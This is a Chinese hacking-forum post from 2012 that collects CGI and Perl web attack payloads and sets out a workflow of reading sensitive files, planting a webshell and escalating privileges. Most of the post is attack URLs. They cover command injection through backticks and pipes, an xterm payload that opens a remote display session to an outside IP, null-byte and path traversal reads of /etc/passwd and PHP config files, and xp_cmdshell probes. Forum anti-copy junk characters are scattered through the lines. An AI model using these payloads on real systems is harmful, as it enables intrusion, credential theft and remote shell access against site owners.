找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2572|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
; j) ]  i  z# l" A- K% D$ {' ^7 Tcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  6 P! B% U% F$ y' D) r
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
" J8 L) L" x/ R; E; K; Q注“  
3 V" j& T% `; u% lperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ( s% s% l, u# u/ l
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  , D, G$ k/ v: ^  Z/ A: @# P! e
9 m: Z, p0 z3 P3 D
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  / C" z- W; X+ j9 _* F. X
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  1 C. F! m+ V6 c& N; E5 z
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
$ c/ X; B( C" h- |$ }7 E1 \( z4 r6 qhttp://target.com/cgi-bin/home/news/sub.pl?`id`  . V. k+ s3 d' v
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  - ?, e8 f& i$ d5 H+ A
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
2 P# f& D+ n3 U' i% W( `, L- r% W0 j. w
http://target.com/test.pl;ls|  
) h$ V+ O" F8 |http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
8 p2 @! |" f5 y& I  F8 x/ w7 Thttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|    ]5 F. p8 w- x/ e
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
+ p; {/ |2 m( E( ~% |! O5 o  J比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  2 K/ b5 N9 _9 _
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  : c9 x$ F$ |1 d, ]. t1 {

; D, }2 c. \8 V3 Y* r0 ?http://target.com/test.pl?&........ /../../etc/passwd  1 J9 r& j0 g1 \

% Y2 y! P0 S5 j- Q" k0 E* r: [: {http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
1 x+ g0 H. n9 L7 bhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
2 x: C" m3 S% ~; Yhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  0 @2 j/ I1 k: b1 y/ C

. d- x  a/ I* D+ f6 Z1 G$ {: ihttp://www.target.org/show.php?f ... /include/config.php 查看php代码  3 A# q' Y: N# F0 W+ O
http://www.target.org/show.php?f ... ng/admin/global.php  
9 _( Q, W& V8 r9 d' b
7 h% \) |% A  s! p4 Demm和ps的一句话6 f1 W3 n, f$ F* D

6 {7 h/ s9 u2 }& W% ^* Dhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
5 [5 n( _/ [8 z# _9 u/ s, w2 u5 T* w2 u& r& u( R1 |' x
>bbb%20|  
8 |/ b9 N  q, I9 D/ f  j' ^% Y) f" l* `2 e  N6 C
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  2 J0 H5 F; J( |; h

4 u! V0 O3 n$ f" P/ Ghttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  & S2 ?7 I1 \  a  O9 Y- n
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
( Z5 Y& n( C+ L5 }3 v9 I' y3 W$ P0 r: T5 d8 n$ w; y0 L0 M- R. N
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
: H4 S1 T# N5 c, ?7 ~3 }http://target.com/index.html#cmd.exe  . x% [( s5 |, E6 {2 s
http://target.com/index.html?dummyparam=xp_cmdshell  
: M" M" x% v$ A* b' n" ilynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  % Y7 C8 N* e9 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表